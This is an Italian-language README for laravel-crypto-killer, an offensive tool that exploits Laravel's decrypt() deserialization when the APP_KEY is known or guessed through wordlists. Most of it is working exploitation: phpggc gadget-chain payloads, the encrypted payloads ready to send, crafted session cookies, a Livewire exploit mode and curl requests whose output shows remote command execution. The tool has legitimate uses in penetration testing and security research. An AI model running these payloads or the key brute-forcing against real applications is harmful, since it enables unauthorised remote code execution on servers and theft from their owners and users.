synacktiv/laravel-crypto-killerUno strumento progettato per sfruttare implementazioni errate dei meccanismi di decrittazione nelle applicazioni Laravel.
Uno strumento progettato per sfruttare implementazioni non corrette dei meccanismi di decifratura nelle applicazioni Laravel.
Questo strumento è stato inizialmente progettato per creare payload mirati alla funzione decrypt() di Laravel del pacchetto Illuminate\Encryption.
Può inoltre essere utilizzato per decifrare qualsiasi dato cifrato tramite encrypt() o encryptString().
Lo strumento richiede una APP_KEY valida; puoi anche provare a forzarla tramite bruteforce se ritieni che ci sia un potenziale riutilizzo di chiavi da un progetto pubblico, ad esempio.
Autori dello strumento: @_remsio_ @Kainx42.
Per ogni opzione è disponibile un helper per usare lo strumento:
$ ./laravel_crypto_killer.py -h
usage: laravel_crypto_killer.py [-h] {exploit,encrypt,decrypt,bruteforce} ...
___ _ ___ _ __ _ _
(O O) (_ ) ( O_`\ ( )_ ( O) _(_ )(_ )
| | _ _ _ __ _ _ _ _ __ | | | ( (_)_ __ _ _ _ _ | ,_) _ | |/')(_)| | | | __ _ __
| | /'_` ( '__/'_` ( ) ( )/'__`\| | | | _( '__( ) ( ( '_`\| | /'_`\ | , < | || | | | /'__`( '__)
< |__ ( (_| | | ( (_| | \_/ ( ___/| | < (_( | | | (_) | (_) | |_( (_) ) < | \`\| || | | |( ___| |
<_____/`\__,_(_) `\__,_`\___/`\____(___) <_____/(_) `\__, | ,__/`\__`\___/' <__) (_(_(___(___`\____(_)
( )_| | |
`\___/(_)
This tool was firstly designed to craft payload targetting the Laravel decrypt() function from the package Illuminate\Encryption.
It can also be used to decrypt any data encrypted via encrypt() or encryptString().
The tool requires a valid APP_KEY to be used, you can also try to bruteforce them if you think there is a potential key reuse from a public project for example.
Authors of the tool : @_remsio_, @Kainx42
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
options:
-h, --help show this help message and exit
subcommands:
You can use the option -h on each subcommand to get more info
{exploit,encrypt,decrypt,bruteforce}
exploit Exploit mode
encrypt Encrypt mode
decrypt Decrypt mode
bruteforce Bruteforce potential values of APP_KEY. By default, all the values from the folder wordlists will be loaded.
$ ./laravel_crypto_killer.py encrypt -h
usage: laravel_crypto_killer.py encrypt [-h] [--key KEY] --value VALUE
optional arguments:
-h, --help show this help message and exit
--key KEY, -k KEY Key used by Laravel stored in APP_KEY in .env
--value VALUE, -v VALUE
Value of the string data you want to laravel cipher (it has to be base64 encoded!). The place where you put a gadget chain from phpggc basically.
--session_cookie SESSION_COOKIE, -sc SESSION_COOKIE
Add this option to format the ciphered value to exploit a Laravel Session Cookie (option SESSION_DRIVER=cookie). it should be a 40 character long hex chain
La funzione decrypt di Illuminate\Encryption è spesso utilizzata nelle applicazioni Laravel. Di default, gestisce dati serializzati e li cifra utilizzando la chiave segreta di Laravel memorizzata in APP_KEY.
namespace Illuminate\Encryption;
[...]
public function decrypt($payload, $unserialize = true)
{
$payload = $this->getJsonPayload($payload);
$iv = base64_decode($payload['iv']);
$decrypted = \openssl_decrypt(
$payload['value'], $this->cipher, $this->key, 0, $iv
);
if ($decrypted === false) {
throw new DecryptException('Could not decrypt the data.');
}
return $unserialize ? unserialize($decrypted) : $decrypted;
}
La policy di Laravel, al momento, è quella di non correggere le gadget chain.
Pertanto, un utente in grado di inviare dati a una funzione decrypt e in possesso della chiave segreta dell'applicazione potrà ottenere l'esecuzione remota di comandi su un'applicazione Laravel.
Il seguente controller può essere utilizzato per testare lo strumento:
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use Illuminate\Http\Response;
class EncryptController extends Controller
{
public function encrypt(string $toencrypt): Response
{
$result = encrypt($toencrypt);
return response($result, 200);
}
public function decrypt(string $todecrypt): Response
{
$result = decrypt($todecrypt);
return response($result, 200);
}
}
Utilizzando il valore di APP_KEY, è possibile decifrare i dati con laravel_crypto_killer.
Per prima cosa, recupera un valore generato dalla funzione encrypt.
$ curl http://localhost/encrypt/aaa
eyJpdiI6IkczTHpUZkNHWk4yUnFUSjFrM2Q1WkE9PSIsInZhbHVlIjoiS1RLRXJRd01wTDJvZFZmbzl5SkFPQT09IiwibWFjIjoiMTFhZDJiM2Y2NDMzNjViMzNjMjg5MGI2ZTZlNTZkZjY2NTE0ZDhiMTc5ZmU0MGZiMDc5NzU4YWI0YTcxNTAwZSIsInRhZyI6IiJ9
Puoi quindi decifrarlo se sei in possesso di una APP_KEY valida.
$ ./laravel_crypto_killer.py decrypt -k CGhMqYXFMzbOe048WS6a0iG8f6bBcTLVbP36bqqrvuA= -v eyJpdiI6IkczTHpUZkNHWk4yUnFUSjFrM2Q1WkE9PSIsInZhbHVlIjoiS1RLRXJRd01wTDJvZFZmbzl5SkFPQT09IiwibWFjIjoiMTFhZDJiM2Y2NDMzNjViMzNjMjg5MGI2ZTZlNTZkZjY2NTE0ZDhiMTc5ZmU0MGZiMDc5NzU4YWI0YTcxNTAwZSIsInRhZyI6IiJ9
[+] Unciphered value identified!
[*] Unciphered value
s:3:"aaa";
[*] Base64 encoded unciphered version
b'czozOiJhYWEiOwYGBgYGBg=='
[+] Matched serialized data in results! It's time to exploit unserialization to get RCE mate!
Se nei risultati di una decifratura viene identificato un dato serializzato, probabilmente sarai in grado di ottenere l'esecuzione remota di comandi. Per farlo, usa phpggc, sviluppato da Charles Fol, per generare una gadget chain. È meglio cercare di utilizzare una versione di PHP corrispondente.
$ php7.4 phpggc Laravel/RCE9 system id -b
Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MjU6IklsbHVtaW5hdGVcQnVzXERpc3BhdGNoZXIiOjU6e3M6MTI6IgAqAGNvbnRhaW5lciI7TjtzOjExOiIAKgBwaXBlbGluZSI7TjtzOjg6IgAqAHBpcGVzIjthOjA6e31zOjExOiIAKgBoYW5kbGVycyI7YTowOnt9czoxNjoiACoAcXVldWVSZXNvbHZlciI7czo2OiJzeXN0ZW0iO31zOjg6IgAqAGV2ZW50IjtPOjM4OiJJbGx1bWluYXRlXEJyb2FkY2FzdGluZ1xCcm9hZGNhc3RFdmVudCI6MTp7czoxMDoiY29ubmVjdGlvbiI7czoyOiJpZCI7fX0=
Puoi quindi usare questo valore, cifrarlo con laravel_crypto_killer e infine inviarlo al server per ottenere la tua RCE!
$ ./laravel_crypto_killer.py encrypt -k CGhMqYXFMzbOe048WS6a0iG8f6bBcTLVbP36bqqrvuA= -v Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MjU6IklsbHVtaW5hdGVcQnVzXERpc3BhdGNoZXIiOjU6e3M6MTI6IgAqAGNvbnRhaW5lciI7TjtzOjExOiIAKgBwaXBlbGluZSI7TjtzOjg6IgAqAHBpcGVzIjthOjA6e31zOjExOiIAKgBoYW5kbGVycyI7YTowOnt9czoxNjoiACoAcXVldWVSZXNvbHZlciI7czo2OiJzeXN0ZW0iO31zOjg6IgAqAGV2ZW50IjtPOjM4OiJJbGx1bWluYXRlXEJyb2FkY2FzdGluZ1xCcm9hZGNhc3RFdmVudCI6MTp7czoxMDoiY29ubmVjdGlvbiI7czoyOiJpZCI7fX0=
[+] Here is your laravel ciphered value, happy hacking mate!
eyJpdiI6ICJZdk56TDUvdlNkaUJMRU1sdGdSREpRPT0iLCAidmFsdWUiOiAiZjFjMGhnRkY3OHI4ejArVWxRb2RNVE04OVAzdGFhR2wvYzFHdDdxZFEzeEVSVHUxVzQ1dVdUSis4aUp3VkJqNjNrRzJGaFVuVk4vT0FQRFEwWkRIMnBJMU53ZG5SeG1OMk9Lbzh4aFZ4L2RuSHA5clVIdUtBZDJPakdvd3hPbjI4VDc4WXJkd0Y1SzQ2bFNjRzVzb3RuT0FkNExmbjRHMG54cnJHYUtGc1FhejhOUzlDbWtoQ2V2T1Nxb0drZWZnSVhLUXUrL3FGU2JYaXNjaEdTYkZtbDJSZmxvUXBieGFoWEduOXVidG9KcUJpcjlyOTJWdElTYTQwSysvZG9ZRXNMRElTUU5BZG1IT1kvK0ZCRE5Sbmt6ZlU1ZFh6VTRDQ3M3aVNEanJPSm9sTUxZK1pRVE02L0w2cWxJSmZQUCtya1JHd2RadVB6ckxKOXk2RExtdWxDRkczTXFTQzVxLzVRTkRkSkJpMG9XMTl0WjVwRmJGdWtFTklhbFM3cjM3S2IyUVd1eVgyd2pPcVJCVXQ4NDJVMjIveW13MWV5ZWxHUHR0VWlaRkdWaVoyd3RidndIRnVnTDJrTUVCMkpDaSIsICJtYWMiOiAiMTIyZjBhOWRhMmRjOTk1MWY4MWNkMWQyOWYxZjdjYzQ5ZDEzYWIwMzcwZjY4ZWY5MWI5OWQ4YTg2MjlhNTI3OCIsICJ0YWciOiAiIn0=
$ curl -s http://localhost/decrypt/eyJpdiI6ICJZdk56TDUvdlNkaUJMRU1sdGdSREpRPT0iLCAidmFsdWUiOiAiZjFjMGhnRkY3OHI4ejArVWxRb2RNVE04OVAzdGFhR2wvYzFHdDdxZFEzeEVSVHUxVzQ1dVdUSis4aUp3VkJqNjNrRzJGaFVuVk4vT0FQRFEwWkRIMnBJMU53ZG5SeG1OMk9Lbzh4aFZ4L2RuSHA5clVIdUtBZDJPakdvd3hPbjI4VDc4WXJkd0Y1SzQ2bFNjRzVzb3RuT0FkNExmbjRHMG54cnJHYUtGc1FhejhOUzlDbWtoQ2V2T1Nxb0drZWZnSVhLUXUrL3FGU2JYaXNjaEdTYkZtbDJSZmxvUXBieGFoWEduOXVidG9KcUJpcjlyOTJWdElTYTQwSysvZG9ZRXNMRElTUU5BZG1IT1kvK0ZCRE5Sbmt6ZlU1ZFh6VTRDQ3M3aVNEanJPSm9sTUxZK1pRVE02L0w2cWxJSmZQUCtya1JHd2RadVB6ckxKOXk2RExtdWxDRkczTXFTQzVxLzVRTkRkSkJpMG9XMTl0WjVwRmJGdWtFTklhbFM3cjM3S2IyUVd1eVgyd2pPcVJCVXQ4NDJVMjIveW13MWV5ZWxHUHR0VWlaRkdWaVoyd3RidndIRnVnTDJrTUVCMkpDaSIsICJtYWMiOiAiMTIyZjBhOWRhMmRjOTk1MWY4MWNkMWQyOWYxZjdjYzQ5ZDEzYWIwMzcwZjY4ZWY5MWI5OWQ4YTg2MjlhNTI3OCIsICJ0YWciOiAiIn0= | head -n 1
uid=1337(sail) gid=1000(sail) groups=1000(sail)
Per identificare una APP_KEY valida su un'applicazione, è possibile utilizzare diverse wordlist per provare a indovinarne una su un'istanza Laravel.
Di default, i cookie XSRF-TOKEN e laravel_session si basano sulla funzione encrypt e possono essere utilizzati per tentare un attacco di bruteforce.
Puoi verificare facilmente la validità di una APP_KEY rispetto a un URL con il seguente comando:
$ ./laravel_crypo_killer.py check https://www.example.com ko0ziOprodjT9TOcW3/CP2vyA3pjaRzz0ANa1uiCPU0=
[+] Cookies decrypted:
* XSRF-TOKEN
* example_session
Se SESSION_DRIVER è impostato sul valore cookie, laravel_crypto_killer dispone di un'opzione per formattare correttamente il cookie di sessione ai fini dello sfruttamento.
Per sfruttare questo tipo di vulnerabilità, recupera il cookie successivo a laravel_session; nel nostro caso sarebbe d6WRg1VnF4sWv47men3oo4zBKLylyACOTKGsggKp:
$ curl -I http://localhost/login
HTTP/1.1 200 OK
Server: nginx/1.17.10
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/8.1.29
Cache-Control: no-cache, private
Date: Tue, 03 Sep 2024 11:36:39 GMT
Set-Cookie: XSRF-TOKEN=eyJpdiI6IkdhT2luRFJtY2xFRTJrK0xNUXBpVnc9PSIsInZhbHVlIjoiWUoxdnVmVk5qTEU2d3E4Z3hHeE8yK3ZGNGVPRGtLaldoSXZFd1RhTUliOSs2a01PYmVKNTdiUEczak1TT2VtUXhrdTdUWUU1K201OFlzK0QzWmFHWUdFbnRkWkhsTVFNcExQb2o3UndweFMvVEN1SGVyZVZCWFdmSXhYTFVCa2UiLCJtYWMiOiJiNjhkNDgwZDI1NDRlMjkwNGJjNjk4NzU4ZDViOWUyOGIyMzMwZjEzODdmMGEyNWJjZjkyZjY0Zjk0ZGI0NDZkIiwidGFnIjoiIn0%3D; expires=Wed, 04-Sep-2024 11:36:39 GMT; Max-Age=86400; path=/; domain=localhost; samesite=lax
Set-Cookie: laravel_session=eyJpdiI6IkxBODRMMTZXVCtQSnFTU0pQcGNjV2c9PSIsInZhbHVlIjoiQVo4c3VQUUdwb1VkZ3VvaTFnK21Jay9NaGlhZmlPSCtRWW1ObmZlY2xmT21RYnhOVk9IeitoeWdoQ3A4NGRMYWExM2JvQmFUZlJxaGZiSmRqK2UxN0pmWVpiWnZsWStnVENvV0VlZEFnSTdlT09sbU5DN2p6eU5vTkFoYlYyc0EiLCJtYWMiOiI1Mzg3YjZjZjM1ZmRiNGQ3M2QwZTBlNTI0ODg1NWFlODM1YjFkZGVlYWNlMjcwNWQ3Yjg5MWIzMDY4Mzc1MzI0IiwidGFnIjoiIn0%3D; expires=Wed, 04-Sep-2024 11:36:39 GMT; Max-Age=86400; path=/; domain=localhost; httponly; samesite=lax
Set-Cookie: d6WRg1VnF4sWv47men3oo4zBKLylyACOTKGsggKp=eyJpdiI6Im5SNVYzVzZIa3B5WWR6ZnpLM0p4ZVE9PSIsInZhbHVlIjoiUTUvWm5RT3BIVzhlQ1dhclA3UnlqalBYMk9pZ0J3UHpDZmlKZy9nVTJkVThVUHJPbzdsanRHNUw2NVJ5Q1oxSERrSmdRcDErVGlUMDRBeGZVekoxaGQ1cGo2UFo1TzdPVmxhV2E2Yms3Wnl5dldFdHdxVUdBNUtoYUZUM054eEF3ZFFSZTY1MUtSSVBGY0pxbitZV0hiTytKeWUwR1RLODY2WjIyeHFQKzNWQllDUUw3enB0NzNoSXJxZUVXMVFmVVRqSmtTZ0NxM3k3TDk2cVUreThwa3BLa0dNMUJpZkhyUGdCUndKTUdaakRjSjhId0wyemZFS1A2c3oxTllhS0lxYzkwOTNJTzM3NTBqV2s1SjBUb3c9PSIsIm1hYyI6IjViYzg2MjMwNWY4Mjk3YjEzZmQwODY2YzdiMmFjMGIyZTEyNDY4Nzk3NzA2ZDM0N2ZjZWJhYWQyZTZmZDgwMmUiLCJ0YWciOiIifQ%3D%3D; expires=Wed, 04-Sep-2024 11:36:39 GMT; Max-Age=86400; path=/; domain=localhost; httponly; samesite=lax
Poi decifra il valore del cookie; dovrebbe contenere un hash seguito da un oggetto JSON con dati serializzati in PHP.
$ ./laravel_crypto_killer.py decrypt -k base64:Bqm5/FxXT5IT0Jx7vbhVvSiMKXTI2JMOCD9XKzHiHJw= -v eyJpdiI6Im5SNVYzVzZIa3B5WWR6ZnpLM0p4ZVE9PSIsInZhbHVlIjoiUTUvWm5RT3BIVzhlQ1dhclA3UnlqalBYMk9pZ0J3UHpDZmlKZy9nVTJkVThVUHJPbzdsanRHNUw2NVJ5Q1oxSERrSmdRcDErVGlUMDRBeGZVekoxaGQ1cGo2UFo1TzdPVmxhV2E2Yms3Wnl5dldFdHdxVUdBNUtoYUZUM054eEF3ZFFSZTY1MUtSSVBGY0pxbitZV0hiTytKeWUwR1RLODY2WjIyeHFQKzNWQllDUUw3enB0NzNoSXJxZUVXMVFmVVRqSmtTZ0NxM3k3TDk2cVUreThwa3BLa0dNMUJpZkhyUGdCUndKTUdaakRjSjhId0wyemZFS1A2c3oxTllhS0lxYzkwOTNJTzM3NTBqV2s1SjBUb3c9PSIsIm1hYyI6IjViYzg2MjMwNWY4Mjk3YjEzZmQwODY2YzdiMmFjMGIyZTEyNDY4Nzk3NzA2ZDM0N2ZjZWJhYWQyZTZmZDgwMmUiLCJ0YWciOiIifQ%3D%3D
[+] Unciphered value identified!
[*] Unciphered value
57b910d166b2a034c861d4e61c4d8e584bbf9d19|{"data":"a:2:{s:6:\"_token\";s:40:\"R4TcbmmERkI6MHSPymWc0DkqJfA3hM87eTghuV73\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}}","expires":1725449799}
[*] Base64 encoded unciphered version
b'NTdiOTEwZDE2NmIyYTAzNGM4NjFkNGU2MWM0ZDhlNTg0YmJmOWQxOXx7ImRhdGEiOiJhOjI6e3M6NjpcIl90b2tlblwiO3M6NDA6XCJSNFRjYm1tRVJrSTZNSFNQeW1XYzBEa3FKZkEzaE04N2VUZ2h1VjczXCI7czo2OlwiX2ZsYXNoXCI7YToyOntzOjM6XCJvbGRcIjthOjA6e31zOjM6XCJuZXdcIjthOjA6e319fSIsImV4cGlyZXMiOjE3MjU0NDk3OTl9BwcHBwcHBw=='
[+] Matched serialized data in results! It's time to exploit unserialization to get RCE mate!
Quindi recupera il valore dell'hash prima della pipe |; nel caso precedente sarebbe 57b910d166b2a034c861d4e61c4d8e584bbf9d19, e passalo all'opzione --session_cookie quando ricifri il cookie per ottenere la RCE. Deve corrispondere al valore del cookie non cifrato, altrimenti l'exploit non funzionerà.
$ php8.2 phpggc Laravel/RCE15 'system' 'id' -b
Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6MTp7czo5OiIAKgBldmVudHMiO086Mjk6IklsbHVtaW5hdGVcUXVldWVcUXVldWVNYW5hZ2VyIjoyOntzOjY6IgAqAGFwcCI7YToxOntzOjY6ImNvbmZpZyI7YToyOntzOjEzOiJxdWV1ZS5kZWZhdWx0IjtzOjM6ImtleSI7czoyMToicXVldWUuY29ubmVjdGlvbnMua2V5IjthOjE6e3M6NjoiZHJpdmVyIjtzOjQ6ImZ1bmMiO319fXM6MTM6IgAqAGNvbm5lY3RvcnMiO2E6MTp7czo0OiJmdW5jIjthOjI6e2k6MDtPOjI4OiJJbGx1bWluYXRlXEF1dGhcUmVxdWVzdEd1YXJkIjozOntzOjExOiIAKgBjYWxsYmFjayI7czoxNDoiY2FsbF91c2VyX2Z1bmMiO3M6MTA6IgAqAHJlcXVlc3QiO3M6Njoic3lzdGVtIjtzOjExOiIAKgBwcm92aWRlciI7czoyOiJpZCI7fWk6MTtzOjQ6InVzZXIiO319fX0=
$ ./laravel_crypto_killer.py encrypt -k base64:Bqm5/FxXT5IT0Jx7vbhVvSiMKXTI2JMOCD9XKzHiHJw= -v Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6MTp7czo5OiIAKgBldmVudHMiO086Mjk6IklsbHVtaW5hdGVcUXVldWVcUXVldWVNYW5hZ2VyIjoyOntzOjY6IgAqAGFwcCI7YToxOntzOjY6ImNvbmZpZyI7YToyOntzOjEzOiJxdWV1ZS5kZWZhdWx0IjtzOjM6ImtleSI7czoyMToicXVldWUuY29ubmVjdGlvbnMua2V5IjthOjE6e3M6NjoiZHJpdmVyIjtzOjQ6ImZ1bmMiO319fXM6MTM6IgAqAGNvbm5lY3RvcnMiO2E6MTp7czo0OiJmdW5jIjthOjI6e2k6MDtPOjI4OiJJbGx1bWluYXRlXEF1dGhcUmVxdWVzdEd1YXJkIjozOntzOjExOiIAKgBjYWxsYmFjayI7czoxNDoiY2FsbF91c2VyX2Z1bmMiO3M6MTA6IgAqAHJlcXVlc3QiO3M6Njoic3lzdGVtIjtzOjExOiIAKgBwcm92aWRlciI7czoyOiJpZCI7fWk6MTtzOjQ6InVzZXIiO319fX0= -sc=57b910d166b2a034c861d4e61c4d8e584bbf9d19
[+] Here is your laravel ciphered session cookie, happy hacking mate!
eyJpdiI6ICIzNkNNcDlLQ3JVU2ZEMTBxcDdWd1hRPT0iLCAidmFsdWUiOiAiRWlSdVNYeTFQdWh0MXRMcE1JaDluamtCMnE1YTFncHJTa2lPdXVCU2p2eXhQdmYydTdrbjlucGVsWm9hZ1VteEZDbkxiZ1BkVGxHQUU0K0FQL1JXUEFSbVpVV3BMOTdXeUdMTm9mcFVuTVo2QXg5U0w4OE9QZHkyaUk3cUU2SjN1RC9wZHJaVk8wbjlHMlNJYmhZbWtEelIyOEhVLzFMME1kd3hQUGpERURYbmZDQmtNcngxN0xYcWRpdmNzODU5SS9IMzZVcXMxaDJXT1ovNlhoc2NHeHBtQ2RTcHBFNi9yb0habElkNzBIRDRMaTd4V2FPZGpSNjJoVG5OTHRXYkpydVBJRk5hLzBuR1M2SUI5NkFKOXlUaHI1djdMMno0TE4rbHpOUHpRR0JKNDl3WDA0WU1DNEhpZHRhakd3bytRUkRPaEpNYkJBY0RjU0hTQ2hqZVBrTXlHQXJNZjdzaGF2c0UwRFQ0d2l6Tm1GdUVJM21ZQ3NpZnFwcExRWEVCZlpCUkRwNEFpNVFsdUMzTHpBNXh0M2FnMFBoZ1JvQTZlS0VsTzRqMG16WitqQVk4ZXljWUVsU09YcFF3NWZLcDBHdzRja1JSVVZsc3kzZmNOUnRzbktneXVzTVdQQWFCazJsWUhCcU44aTdEMzF1N1I4eWw5UU4zWW1sUnkrWXVRdFNadnFPbTExTWRkWDdaVHFQR3RtZEtrODFTNHVLYnJJRlhPandGSXc0eXdvV2xwRElHdk44VzNDditpZUJTVFpieTZmU092TUZzbXZMT0pJNjRZdWU0SGVmOWZrRmEwMXFnaG4yKzJkV2xpQ3l1blU5dmxqYWdPbGRxMktPWjgwMDhLL1ZGd1V4NU9uVktLRWFLb1ZBVjB5QlNGTjBpOW8xL2taTmVlNENoR0ZSMkxFQjV5TW5sSURiQ3dYZzhqN2xsZVNuTG5EZ0wyb283M3lQTXR4cHYvTk93WVBjLzgrd0l2d3NaM3VRbWF6NGVkWFd1Vk9WaEE0dWlPT0c2bWNEdEFtWmw4SUdsbS95bUU5eDVSN1ZKMjN0WmN1dmhvc1NXWmt2UVloMGJxbDdlRTk0a21JN0Z2a3dYUEFDSSIsICJtYWMiOiAiZDFlNmRiZWFhZTgzYjRiNTMxNGVmNTZjZDgyMDgyYmFkNjE3ZmI3MmIyNzhhOGJkZmZmOGJlMWI4MjA0ZmIzNCIsICJ0YWciOiAiIn0=
Infine, usa questa chain per ottenere l'esecuzione remota dei comandi. Attenzione: devi specificare anche il valore del cookie laravel_session insieme al cookie che contiene effettivamente il payload. Nel nostro caso, il payload è memorizzato all'interno del cookie d6WRg1VnF4sWv47men3oo4zBKLylyACOTKGsggKp, a cui si fa riferimento nel cookie laravel_session.
$ curl -s -H 'Cookie:laravel_session=eyJpdiI6IkxBODRMMTZXVCtQSnFTU0pQcGNjV2c9PSIsInZhbHVlIjoiQVo4c3VQUUdwb1VkZ3VvaTFnK21Jay9NaGlhZmlPSCtRWW1ObmZlY2xmT21RYnhOVk9IeitoeWdoQ3A4NGRMYWExM2JvQmFUZlJxaGZiSmRqK2UxN0pmWVpiWnZsWStnVENvV0VlZEFnSTdlT09sbU5DN2p6eU5vTkFoYlYyc0EiLCJtYWMiOiI1Mzg3YjZjZjM1ZmRiNGQ3M2QwZTBlNTI0ODg1NWFlODM1YjFkZGVlYWNlMjcwNWQ3Yjg5MWIzMDY4Mzc1MzI0IiwidGFnIjoiIn0%3D; d6WRg1VnF4sWv47men3oo4zBKLylyACOTKGsggKp=eyJpdiI6ICIzNkNNcDlLQ3JVU2ZEMTBxcDdWd1hRPT0iLCAidmFsdWUiOiAiRWlSdVNYeTFQdWh0MXRMcE1JaDluamtCMnE1YTFncHJTa2lPdXVCU2p2eXhQdmYydTdrbjlucGVsWm9hZ1VteEZDbkxiZ1BkVGxHQUU0K0FQL1JXUEFSbVpVV3BMOTdXeUdMTm9mcFVuTVo2QXg5U0w4OE9QZHkyaUk3cUU2SjN1RC9wZHJaVk8wbjlHMlNJYmhZbWtEelIyOEhVLzFMME1kd3hQUGpERURYbmZDQmtNcngxN0xYcWRpdmNzODU5SS9IMzZVcXMxaDJXT1ovNlhoc2NHeHBtQ2RTcHBFNi9yb0habElkNzBIRDRMaTd4V2FPZGpSNjJoVG5OTHRXYkpydVBJRk5hLzBuR1M2SUI5NkFKOXlUaHI1djdMMno0TE4rbHpOUHpRR0JKNDl3WDA0WU1DNEhpZHRhakd3bytRUkRPaEpNYkJBY0RjU0hTQ2hqZVBrTXlHQXJNZjdzaGF2c0UwRFQ0d2l6Tm1GdUVJM21ZQ3NpZnFwcExRWEVCZlpCUkRwNEFpNVFsdUMzTHpBNXh0M2FnMFBoZ1JvQTZlS0VsTzRqMG16WitqQVk4ZXljWUVsU09YcFF3NWZLcDBHdzRja1JSVVZsc3kzZmNOUnRzbktneXVzTVdQQWFCazJsWUhCcU44aTdEMzF1N1I4eWw5UU4zWW1sUnkrWXVRdFNadnFPbTExTWRkWDdaVHFQR3RtZEtrODFTNHVLYnJJRlhPandGSXc0eXdvV2xwRElHdk44VzNDditpZUJTVFpieTZmU092TUZzbXZMT0pJNjRZdWU0SGVmOWZrRmEwMXFnaG4yKzJkV2xpQ3l1blU5dmxqYWdPbGRxMktPWjgwMDhLL1ZGd1V4NU9uVktLRWFLb1ZBVjB5QlNGTjBpOW8xL2taTmVlNENoR0ZSMkxFQjV5TW5sSURiQ3dYZzhqN2xsZVNuTG5EZ0wyb283M3lQTXR4cHYvTk93WVBjLzgrd0l2d3NaM3VRbWF6NGVkWFd1Vk9WaEE0dWlPT0c2bWNEdEFtWmw4SUdsbS95bUU5eDVSN1ZKMjN0WmN1dmhvc1NXWmt2UVloMGJxbDdlRTk0a21JN0Z2a3dYUEFDSSIsICJtYWMiOiAiZDFlNmRiZWFhZTgzYjRiNTMxNGVmNTZjZDgyMDgyYmFkNjE3ZmI3MmIyNzhhOGJkZmZmOGJlMWI4MjA0ZmIzNCIsICJ0YWciOiAiIn0=' http://localhost/login | head -n1
uid=1000(user) gid=1000(user) groups=1000(user),0(root),33(www-data)
$ python3 laravel_crypto_killer.py exploit -e livewire -k 'base64:CGhMqYXFMzbOe048WS6a0iG8f6bBcTLVbP36bqqrvuA=' -j request.json --function system -p whoami
{...}
Hai un'idea interessante o hai riscontrato un comportamento inaspettato? Facci sapere aprendo una issue o inviando una pull request! :)
Synacktiv non può essere ritenuta responsabile se lo strumento viene utilizzato per scopi dannosi; è destinato esclusivamente a scopo educativo.
Questo progetto è concesso in licenza MIT - consulta il file LICENSE per i dettagli.